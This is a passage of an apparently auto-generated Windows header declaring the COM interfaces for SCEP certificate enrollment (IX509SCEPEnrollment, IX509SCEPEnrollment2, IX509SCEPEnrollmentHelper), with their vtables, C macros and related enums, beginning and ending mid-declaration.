         __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequestPkcs10 **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509SCEPEnrollment * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *DeleteRequest )( \n            __RPC__in IX509SCEPEnrollment * This);\n        \n        END_INTERFACE\n    } IX509SCEPEnrollmentVtbl;\n\n    interface IX509SCEPEnrollment\n    {\n        CONST_VTBL struct IX509SCEPEnrollmentVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509SCEPEnrollment_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509SCEPEnrollment_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509SCEPEnrollment_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509SCEPEnrollment_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509SCEPEnrollment_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509SCEPEnrollment_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509SCEPEnrollment_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509SCEPEnrollment_Initialize(This,pRequest,strThumbprint,ThumprintEncoding,strServerCertificates,Encoding)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pRequest,strThumbprint,ThumprintEncoding,strServerCertificates,Encoding) ) \n\n#define IX509SCEPEnrollment_InitializeForPending(This,Context)\t\\\n    ( (This)->lpVtbl -> InitializeForPending(This,Context) ) \n\n#define IX509SCEPEnrollment_CreateRequestMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequestMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_CreateRetrievePendingMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRetrievePendingMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_CreateRetrieveCertificateMessage(This,Context,strIssuer,IssuerEncoding,strSerialNumber,SerialNumberEncoding,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRetrieveCertificateMessage(This,Context,strIssuer,IssuerEncoding,strSerialNumber,SerialNumberEncoding,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_ProcessResponseMessage(This,strResponse,Encoding,pDisposition)\t\\\n    ( (This)->lpVtbl -> ProcessResponseMessage(This,strResponse,Encoding,pDisposition) ) \n\n#define IX509SCEPEnrollment_put_ServerCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ServerCapabilities(This,Value) ) \n\n#define IX509SCEPEnrollment_get_FailInfo(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FailInfo(This,pValue) ) \n\n#define IX509SCEPEnrollment_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509SCEPEnrollment_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#define IX509SCEPEnrollment_get_OldCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,ppValue) ) \n\n#define IX509SCEPEnrollment_put_OldCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_OldCertificate(This,pValue) ) \n\n#define IX509SCEPEnrollment_get_TransactionId(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_put_TransactionId(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Encoding,Value) ) \n\n#define IX509SCEPEnrollment_get_Request(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,ppValue) ) \n\n#define IX509SCEPEnrollment_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509SCEPEnrollment_put_CertificateFriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,Value) ) \n\n#define IX509SCEPEnrollment_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509SCEPEnrollment_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509SCEPEnrollment_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509SCEPEnrollment_DeleteRequest(This)\t\\\n    ( (This)->lpVtbl -> DeleteRequest(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509SCEPEnrollment_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0097 */\n/* [local] */ \n\ntypedef \nenum X509SCEPProcessMessageFlags\n    {\n        SCEPProcessDefault\t= 0,\n        SCEPProcessSkipCertInstall\t= 0x1\n    } \tX509SCEPProcessMessageFlags;\n\ntypedef \nenum DelayRetryAction\n    {\n        DelayRetryUnknown\t= 0,\n        DelayRetryNone\t= 1,\n        DelayRetryShort\t= 2,\n        DelayRetryLong\t= 3,\n        DelayRetrySuccess\t= 4,\n        DelayRetryPastSuccess\t= 5\n    } \tDelayRetryAction;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0097_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0097_v0_0_s_ifspec;\n\n#ifndef __IX509SCEPEnrollment2_INTERFACE_DEFINED__\n#define __IX509SCEPEnrollment2_INTERFACE_DEFINED__\n\n/* interface IX509SCEPEnrollment2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509SCEPEnrollment2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab364-217d-11da-b2a4-000e7bbb2b09\")\n    IX509SCEPEnrollment2 : public IX509SCEPEnrollment\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE CreateChallengeAnswerMessage( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ProcessResponseMessage2( \n            /* [in] */ X509SCEPProcessMessageFlags Flags,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ResultMessageText( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DelayRetry( \n            /* [retval][out] */ __RPC__out DelayRetryAction *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ActivityId( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ActivityId( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509SCEPEnrollment2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509SCEPEnrollment2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509SCEPEnrollment2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509SCEPEnrollment2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strThumbprint,\n            /* [in] */ EncodingType ThumprintEncoding,\n            /* [in] */ __RPC__in BSTR strServerCertificates,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeForPending )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRequestMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRetrievePendingMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateRetrieveCertificateMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strIssuer,\n            /* [in] */ EncodingType IssuerEncoding,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [defaultvalue][in] */ EncodingType SerialNumberEncoding,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ProcessResponseMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ServerCapabilities )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FailInfo )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__out X509SCEPFailInfo *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_OldCertificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequestPkcs10 **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *DeleteRequest )( \n            __RPC__in IX509SCEPEnrollment2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreateChallengeAnswerMessage )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ProcessResponseMessage2 )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ X509SCEPProcessMessageFlags Flags,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ResultMessageText )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DelayRetry )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__out DelayRetryAction *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ActivityId )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ActivityId )( \n            __RPC__in IX509SCEPEnrollment2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        END_INTERFACE\n    } IX509SCEPEnrollment2Vtbl;\n\n    interface IX509SCEPEnrollment2\n    {\n        CONST_VTBL struct IX509SCEPEnrollment2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509SCEPEnrollment2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509SCEPEnrollment2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509SCEPEnrollment2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509SCEPEnrollment2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509SCEPEnrollment2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509SCEPEnrollment2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509SCEPEnrollment2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509SCEPEnrollment2_Initialize(This,pRequest,strThumbprint,ThumprintEncoding,strServerCertificates,Encoding)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pRequest,strThumbprint,ThumprintEncoding,strServerCertificates,Encoding) ) \n\n#define IX509SCEPEnrollment2_InitializeForPending(This,Context)\t\\\n    ( (This)->lpVtbl -> InitializeForPending(This,Context) ) \n\n#define IX509SCEPEnrollment2_CreateRequestMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequestMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_CreateRetrievePendingMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRetrievePendingMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_CreateRetrieveCertificateMessage(This,Context,strIssuer,IssuerEncoding,strSerialNumber,SerialNumberEncoding,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRetrieveCertificateMessage(This,Context,strIssuer,IssuerEncoding,strSerialNumber,SerialNumberEncoding,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_ProcessResponseMessage(This,strResponse,Encoding,pDisposition)\t\\\n    ( (This)->lpVtbl -> ProcessResponseMessage(This,strResponse,Encoding,pDisposition) ) \n\n#define IX509SCEPEnrollment2_put_ServerCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ServerCapabilities(This,Value) ) \n\n#define IX509SCEPEnrollment2_get_FailInfo(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FailInfo(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509SCEPEnrollment2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_OldCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,ppValue) ) \n\n#define IX509SCEPEnrollment2_put_OldCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_OldCertificate(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_TransactionId(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_put_TransactionId(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Encoding,Value) ) \n\n#define IX509SCEPEnrollment2_get_Request(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,ppValue) ) \n\n#define IX509SCEPEnrollment2_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509SCEPEnrollment2_put_CertificateFriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,Value) ) \n\n#define IX509SCEPEnrollment2_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509SCEPEnrollment2_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509SCEPEnrollment2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509SCEPEnrollment2_DeleteRequest(This)\t\\\n    ( (This)->lpVtbl -> DeleteRequest(This) ) \n\n\n#define IX509SCEPEnrollment2_CreateChallengeAnswerMessage(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateChallengeAnswerMessage(This,Encoding,pValue) ) \n\n#define IX509SCEPEnrollment2_ProcessResponseMessage2(This,Flags,strResponse,Encoding,pDisposition)\t\\\n    ( (This)->lpVtbl -> ProcessResponseMessage2(This,Flags,strResponse,Encoding,pDisposition) ) \n\n#define IX509SCEPEnrollment2_get_ResultMessageText(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ResultMessageText(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_DelayRetry(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DelayRetry(This,pValue) ) \n\n#define IX509SCEPEnrollment2_get_ActivityId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ActivityId(This,pValue) ) \n\n#define IX509SCEPEnrollment2_put_ActivityId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ActivityId(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509SCEPEnrollment2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollmentHelper_INTERFACE_DEFINED__\n#define __IX509SCEPEnrollmentHelper_INTERFACE_DEFINED__\n\n/* interface IX509SCEPEnrollmentHelper */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509SCEPEnrollmentHelper;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab365-217d-11da-b2a4-000e7bbb2b09\")\n    IX509SCEPEnrollmentHelper : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strServerUrl,\n            /* [in] */ __RPC__in BSTR strRequestHeaders,\n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strCACertificateThumbprint) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeForPending( \n            /* [in] */ __RPC__in BSTR strServerUrl,\n            /* [in] */ __RPC__in BSTR strRequestHeaders,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTransactionId) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Enroll( \n            /* [in] */ X509SCEPProcessMessageFlags ProcessFlags,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE FetchPending( \n            /* [in] */ X509SCEPProcessMessageFlags ProcessFlags,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509SCEPEnrollment( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SCEPEnrollment **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ResultMessageText( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509SCEPEnrollmentHelperVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509SCEPEnrollmentHelper * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509SCEPEnrollmentHelper * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509SCEPEnrollmentHelper * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strServerUrl,\n            /* [in] */ __RPC__in BSTR strRequestHeaders,\n            /* [in] */ __RPC__in_opt IX509CertificateRequestPkcs10 *pRequest,\n            /* [in] */ __RPC__in BSTR strCACertificateThumbprint);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeForPending )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strServerUrl,\n            /* [in] */ __RPC__in BSTR strRequestHeaders,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTransactionId);\n        \n        HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509SCEPEnrollmentHelper * This,\n            /* [in] */ X509SCEPProcessMessageFlags ProcessFlags,\n            /* [retval][out] */ __RPC__out X509SCEPDisposition *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *FetchPending )( \n            __RPC__in IX509SCEPEnrollmentHelper * 